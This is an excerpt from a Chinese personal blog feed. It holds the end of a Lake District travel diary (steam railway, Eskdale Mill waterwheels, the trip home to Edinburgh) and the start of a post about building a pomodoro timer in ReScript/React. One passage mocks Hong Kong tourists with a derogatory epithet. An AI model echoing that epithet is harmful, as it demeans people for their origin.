&lt;p&gt;一趟车分三种座：Open、Semi-closed、Closed。我从坐我前面的俩老头那里学来了如何把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Closed&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;变成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Open——把车门开开。&lt;&#x2F;p&gt;
&lt;video controls preload=&quot;metadata&quot; style=&quot;width:100%&quot;&gt;
    &lt;source src=&quot;&#x2F;assets&#x2F;PXL_20230530_124723307.TS-scaled.mp4&quot; type=&quot;video&#x2F;mp4&quot;&gt;
    你的浏览器不支持嵌入视频，但你可以&lt;a href=&quot;&#x2F;assets&#x2F;PXL_20230530_124723307.TS-scaled.mp4&quot;&gt;下载&lt;&#x2F;a&gt;下来看。
    视频内容：从开启的车门拍摄路过的景色：主要是树木和小花。期间能听到车体规律性晃荡的噪音
&lt;&#x2F;video&gt;
&lt;p&gt;有的时候可以在外面看到来不及消散的白烟。不知道的还以为我海拔有多高呢。&lt;&#x2F;p&gt;
&lt;p&gt;到站后是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;14:20&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;左右，我还没吃午饭，所以直奔餐厅点餐。坐我前头的两个老头买了俩甜筒，一只手拄柺一只手拿筒，颤颤巍巍地走向外面。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230530_132759063-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230530_132759063-optim.jpg&quot;
	alt=&quot;从Dalegarth车站餐厅望向外面的列车、牧场和山&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h3 id=&quot;Eskdale_Mill&quot;&gt;Eskdale Mill&lt;&#x2F;h3&gt;
&lt;p&gt;我在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ravenglass&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的转车盘看到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Eskdale
Mill&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的广告。我其实没见过磨坊，而且它看起来离终点站很近，所以吃完午饭就去参观了。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230530_115239405-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230530_115239405-optim.jpg&quot;
	alt=&quot;Ravenglass车站转车盘旁的Eskdale Mill广告&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230530_135438362-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230530_135438362-optim.jpg&quot;
	alt=&quot;Dalegarth车站指向Eskdale Mill的路牌&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230530_144924919-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230530_144924919-optim.jpg&quot;
	alt=&quot;在磨坊的后山上俯瞰小溪和磨坊，以及远处的群山&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;在我的想象中，水流应该是在水轮下面推动水轮的。可是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Eskdale
Mill&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的水是从水轮上方流下来的。原来根据水流开始的位置，水轮可以分成三类：下方流水的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;undershot、从中间流到下方的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;breastshot&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和今天看到的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;overshot。具体使用哪一类要看地势。蛮有趣的，学到了。&lt;&#x2F;p&gt;
&lt;video controls preload=&quot;metadata&quot; style=&quot;width:100%&quot;&gt;
    &lt;source src=&quot;&#x2F;assets&#x2F;PXL_20230530_144527097.TS-scaled.mp4&quot; type=&quot;video&#x2F;mp4&quot;&gt;
    你的浏览器不支持嵌入视频，但你可以&lt;a href=&quot;&#x2F;assets&#x2F;PXL_20230530_144527097.TS-scaled.mp4&quot;&gt;下载&lt;&#x2F;a&gt;下来看。
    视频内容：水从高处的引水渠上跌落，带动前后两个水轮旋转
&lt;&#x2F;video&gt;
&lt;p&gt;另一个有趣的点是磨坊内部零件的名称：运送谷物，一直在抖动的槽叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;shoe；一直旋转、击打&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;shoe，使得&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;shoe&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;抖动的装置叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;damsel——据说这种装置发明之前要雇个年轻女孩专门抖&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;shoe，所以这装置就叫年轻女孩了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230530_142844636-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230530_142844636-optim.jpg&quot;
	alt=&quot;磨坊的内部装置：大致可以分为传送粮食的口和旋转中的磨盘&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;这个磨坊还挺有趣的，下层地板嵌满了退役的磨盘——哦，想吃年轮蛋糕了。背后的山上还有可以冲水的水道、水轮模型。哗啦哗啦的水流声听起来叫人觉得舒服，我在长椅上快速过了一遍他们的导览书。这里唯一的缺点就是有点冷——我把背了一路没用上的抓绒夹克拿出来穿了。&lt;&#x2F;p&gt;
&lt;p&gt;这片地区原本种燕麦和大麦，后来也开始种小麦。不过如今我能看到的只有牧场，也许他们把粮食生产外包给乌克兰了。&lt;&#x2F;p&gt;
&lt;p&gt;等我参观完，磨坊主准备关闸了。我有些好奇怎么操作，就问她能不能看。她说可以，然后掏出一根很长的螺丝刀，说：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;我要使用一个特制工具——开个玩笑&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”我们一起到了最上游的闸门，她回过头问我想不想关。那当然了，这不是来&lt;ruby&gt;着&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;zháo&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;了么。她踩到横跨小溪的塑料板上，把螺丝刀替我传进闸门上面的孔里做成旋转把手。然后退回来，告诉我小心别掉水里。&lt;&#x2F;p&gt;
&lt;p&gt;我刚踩上那塑料薄板就感觉不稳。所以两只脚只往溪流中心前进了一点，探出上半身去拧闸门开关。拧完了，怕螺丝刀掉水里，所以脚还没往回走就先把螺丝刀递给她了。我发觉我递螺丝刀的手在抖。她也发现了，问我还好么。&lt;&#x2F;p&gt;
&lt;p&gt;我觉得我一来是太累了，二来确实怕掉下去（不管是人还是螺丝刀&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。她说有时下雨，水量充沛时水会漫上岸。我问她那样也要关闸门么？她说要。后来一想，那样才更有必要关闸门吧。&lt;&#x2F;p&gt;
&lt;p&gt;说起下雨，我旅行那几天，以及我到当地的前一段时间都是阳光明媚的好天气。所以我爬&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;The
Screes&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时虽然危险，但已经比下过雨的情况安全多了。不过因为没有雨，磨坊最新的发电水轮转不起来。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;Dalegarth_→_Ravenglass&quot;&gt;Dalegarth → Ravenglass&lt;&#x2F;h3&gt;
&lt;p&gt;16:40&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;左右，我还没到车站就在老远听到车站方向有扭曲的汉语夹杂着扭曲的英语传来。到了车站，果然发现了一伙香港人。考虑到攻击他人的容貌是不好的，我就不对河童进行外貌描写了。&lt;&#x2F;p&gt;
&lt;p&gt;我在礼品店发现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Kendal Mint
Cake&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;第一次被带到珠峰的日期是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;29&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号。本来打算去湖区东部时到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Kendal&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;村里再买，看来不得不现在买了。&lt;&#x2F;p&gt;
&lt;p&gt;16:59，坐在我后面的两个小孩在催妈妈上车。他们的妈妈在给火车、他们拍照。我可以理解小孩怕妈妈扔掉自己的恐惧，也能理解妈妈觉得小孩烦懒得解释自己的心情。我正想着自己要是有小孩能不能好好交流时，火车发车了。我一回头——俩小孩、他们的妈都没了！&lt;&#x2F;p&gt;
&lt;p&gt;17:08：感觉应该坐车尾，因为蒸汽机车的尾气在车头。我这是要吸&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;40&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟尾气啊！&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230530_160946068.MP-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230530_160946068.MP-optim.jpg&quot;
	alt=&quot;小火车内部和外部的景色&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h3 id=&quot;回爱丁堡&quot;&gt;回爱丁堡&lt;&#x2F;h3&gt;
&lt;p&gt;18:02：同样在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ravenglass&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等开往&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Carlise&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;火车的干瘪老太太说她昨天从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Eskdale&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;爬上了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Sca
Fell，看对面&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Scafell
Pike&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上爬山的人多到像行军。得知我昨天爬&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Scafell
Pike&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;后，她问我那上面人是不是很多。&lt;&#x2F;p&gt;
&lt;p&gt;18:08，等火车，座位在阴影下面。再次穿上了背了一路的抓绒保暖。Kendal Mint
Cake&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就是纯粹的薄荷糖板。&lt;&#x2F;p&gt;
&lt;p&gt;18:54：现在的火车比下午的稳多了，虽然还是颠。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230530_184757287-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230530_184757287-optim.jpg&quot;
	alt=&quot;低垂的太阳把海面照成金色&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230530_185527918.MP-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230530_185527918.MP-optim.jpg&quot;
	alt=&quot;空空如也的火车内部——和来时的照片形成鲜明对比&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;19:55，Maryport&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;之后车厢里算上我就两个乘客。乘务员在挨个关窗，这是什么规定么？&lt;&#x2F;p&gt;
&lt;p&gt;20:01：路过大量牧场，又闻到粪味了。我怀疑关窗是为了臭味，但看来是无济于事。&lt;&#x2F;p&gt;
&lt;p&gt;快到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Carlisle&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时停了几分钟，说是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Carlisle&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的信号系统有问题。&lt;&#x2F;p&gt;
&lt;p&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Carlisle&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;后有人用车站的钢琴弹菊次郎的夏天——的确是亚洲面孔。&lt;&#x2F;p&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;
&lt;p&gt;一看时间表，到爱丁堡的火车延迟了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;21&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟。这还算好的，到格拉斯哥的火车延迟了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;53&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟。看来英国铁路等他们的人民等得很耐心。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230530_200233442-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230530_200233442-optim.jpg&quot;
	alt=&quot;火车站的时间表&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;21:43，隔壁座的女生在打电话。她说她在慈善店淘便宜书时意外发现一本男人写的书，而她“不想看男的写的&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”我此时特别后悔自己早上把耳塞扔到旅馆的垃圾篓了。然后我想起高中时给听觉神经加开关的设想——这玩意做出来了绝对有市场。&lt;&#x2F;p&gt;
&lt;p&gt;23:07：出了火车站怎么全是楼啊，我的高山和深湖呢？&lt;&#x2F;p&gt;
&lt;h2 id=&quot;后记&quot;&gt;后记&lt;&#x2F;h2&gt;
&lt;p&gt;第五天早晨，大概和第一天量体重的同一时间我又量了一遍：68.6&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;千克。按细分来看的话，水和骨骼肌有所减少，而皮下脂肪、肌肉量和骨量有所增加。不过变化不大，大概率是误差。&lt;&#x2F;p&gt;
&lt;p&gt;下一座山，可能是威尔士最高峰&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;span lang=&quot;cy&quot;&gt;Yr
Wyddfa&lt;&#x2F;span&gt;&#x2F;Snowdon。其实在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Scafell
Pike&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;山顶上时有人说能看到威尔士，但是我地理不好，所以看到了也不知道。&lt;&#x2F;p&gt;
&lt;p&gt;首先，买俩登山拐棍！&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;nether-wasdale
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;nether-wasdale&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    



&lt;br &#x2F;&gt;
&lt;details open likes&gt;
    &lt;summary&gt;


一人赞过：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;Brsu&quot;&gt;










黑糖 :splat_golden_egg:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    





    



&lt;br &#x2F;&gt;
&lt;details open replies&gt;
    &lt;summary&gt;


一条评论：&lt;&#x2F;summary&gt;
    &lt;p&gt;注：点击昵称可以查看对评论的回复。&lt;&#x2F;p&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;
            &lt;figure&gt;
                &lt;figcaption&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;casouri&amp;#x2F;statuses&amp;#x2F;110506537073250117&quot;&gt;










冥王星爱丽&lt;&#x2F;a&gt;：
                &lt;&#x2F;figcaption&gt;
                
                
                    
                    
                        
                        
                    
                
                &lt;blockquote&gt;&lt;p&gt;&lt;span class=&quot;h-card&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;actor&quot; class=&quot;u-url mention&quot;&gt;@&lt;span&gt;actor&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;&lt;&#x2F;span&gt; 谢谢你写的游记，很有意思www 看了以后好像我也去旅行了一样&lt;&#x2F;p&gt;&lt;&#x2F;blockquote&gt;
            &lt;&#x2F;figure&gt;
        &lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;


&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>番茄时钟</title>
    <published>2023-04-23T15:08:47+01:00</published>
    <updated>2023-04-23T15:10:28+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/pomodoro/" type="text/html" />
    <id>https://emptystack.top/pomodoro/</id>
    <content type="html">
      &lt;div&gt;
&lt;div id=&quot;pomo-root&quot; class=&quot;nes-root-container&quot;&gt;
&lt;script type=&quot;module&quot; src=&quot;&#x2F;pomodoro.js&quot;&gt;&lt;&#x2F;script&gt;
&lt;noscript&gt;
&lt;p&gt;本功能需要开启&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JavaScript
&lt;&#x2F;noscript&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;我时不时会想自己写一个番茄时钟，因为网上找到的总是不尽如人意：它们大多没有通知功能，而且工作&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;25&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟后会自动开始休息&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟的计时。老实说我觉得那些软件是写给浏览器用的，不是写给人用的：不弹通知，要我一直盯着网页看么？自动开始，我要是想多花几秒完成手头的事呢？&lt;&#x2F;p&gt;
&lt;p&gt;我听说&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;React&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是理念很好的框架，&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;activitypub-for-static-blog&#x2F;&quot;&gt;上次试用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ReScript&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时&lt;&#x2F;a&gt;我又发现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ReScript&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;存在的主要目的其实是写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;React。正好最近自制番茄时钟的想法又出现了，索性就尝试用这两个工具实现一下。最后的结果就是上面的框框，它支持：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;时间结束后弹窗（当然，要经过你的允许）&lt;&#x2F;li&gt;
&lt;li&gt;由用户手动开始每个时间段（所谓“自主可控&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;暂停（好像原教旨主义者不会暂停，只会作废这段时间然后重新开始）&lt;&#x2F;li&gt;
&lt;li&gt;重新开始（只要再点一次相应按钮即可——哇！更自主可控了&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;它不支持：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Safari&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;浏览器——它真是顶级浏览器：我&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;iPad&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;买了五年了仍然用不明白这玩意，而且它的移动版不支持弹窗——据说&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;16.4&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;支持了，我很开心地去升级、打开实验性的通知功能，发现仍然不支持——啊还有，它的桌面版也差劲，因为请求弹窗&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;API&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是早该被废除的版本。我真不知道这破软件是怎么做到用户体验和技术层面双丰收的。&lt;&#x2F;li&gt;
&lt;li&gt;在火狐安卓版里放到后台运行——计时会停止。直接用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;setTimeout&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的话在桌面浏览器上放到后台里会产生巨大的误差，所以我用了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;chrisguttandin&#x2F;worker-timers&#x2F;&quot;&gt;worker-timers&lt;&#x2F;a&gt;。这下桌面浏览器、Chrome&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;安卓版都可以在后台比较精确地计时了，唯独火狐不行。懒得研究，就这样了。&lt;&#x2F;li&gt;
&lt;li&gt;点击弹窗后跳到计时页面——最开始用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;new
Notification&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以设置&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;onClick，然后调用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;window.focus&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的（安卓火狐无效&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。但&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Chrome&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;安卓版只支持&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Web
Workers&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;showNotification，所以我换成大家都支持的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;showNotification&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了。按理说它也能监听点击事件，但我试了半天就是不行，所以先舍弃这个功能了。&lt;&#x2F;li&gt;
&lt;li&gt;更改工作、休息的时长——我觉得&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;25、5、15&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;挺好的。你想改的话可以去改&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;sinofp&#x2F;pomodoro&#x2F;blob&#x2F;5dc2203d6a3dfead903d5ab1d475bd0e417b1931&#x2F;src&#x2F;Pomo.res#L103-L113&quot;&gt;Pomo.res&lt;&#x2F;a&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;放环境音乐——只有麦当劳才喜欢放环境音乐。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;JavaScript&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;社区让人嘲笑的一点是干一点小事就要装一万个包。我以前也跟着大家一起笑，但是真自己写了写发现这还是挺必要的：各个浏览器太不统一了，统一的标注也不好用。我决定洗心革面改过自新，在自己写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JavaScript&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的时候不笑话&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JavaScript&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;社区。&lt;&#x2F;p&gt;
&lt;p&gt;样式方面我直接用了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;nostalgic-css.github.io&#x2F;NES.css&#x2F;&quot;&gt;NES.css&lt;&#x2F;a&gt;。在我刚刚接触开源社区，只能修错别字时给它提过改一个字的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PR。作者当天就回复了（好像是日本时间凌晨一点多&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，并且教我使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;git
commit
--amend&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;git
push
--force-with-lease&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;修改&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;commit
message&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;以通过测试——是的，这就是我重拾博客后的第一篇博文《&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;update_commit_message_in_pr&#x2F;&quot;&gt;提交&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PR&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;后修改&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;commit
message&lt;&#x2F;a&gt;》的来源。&lt;&#x2F;p&gt;
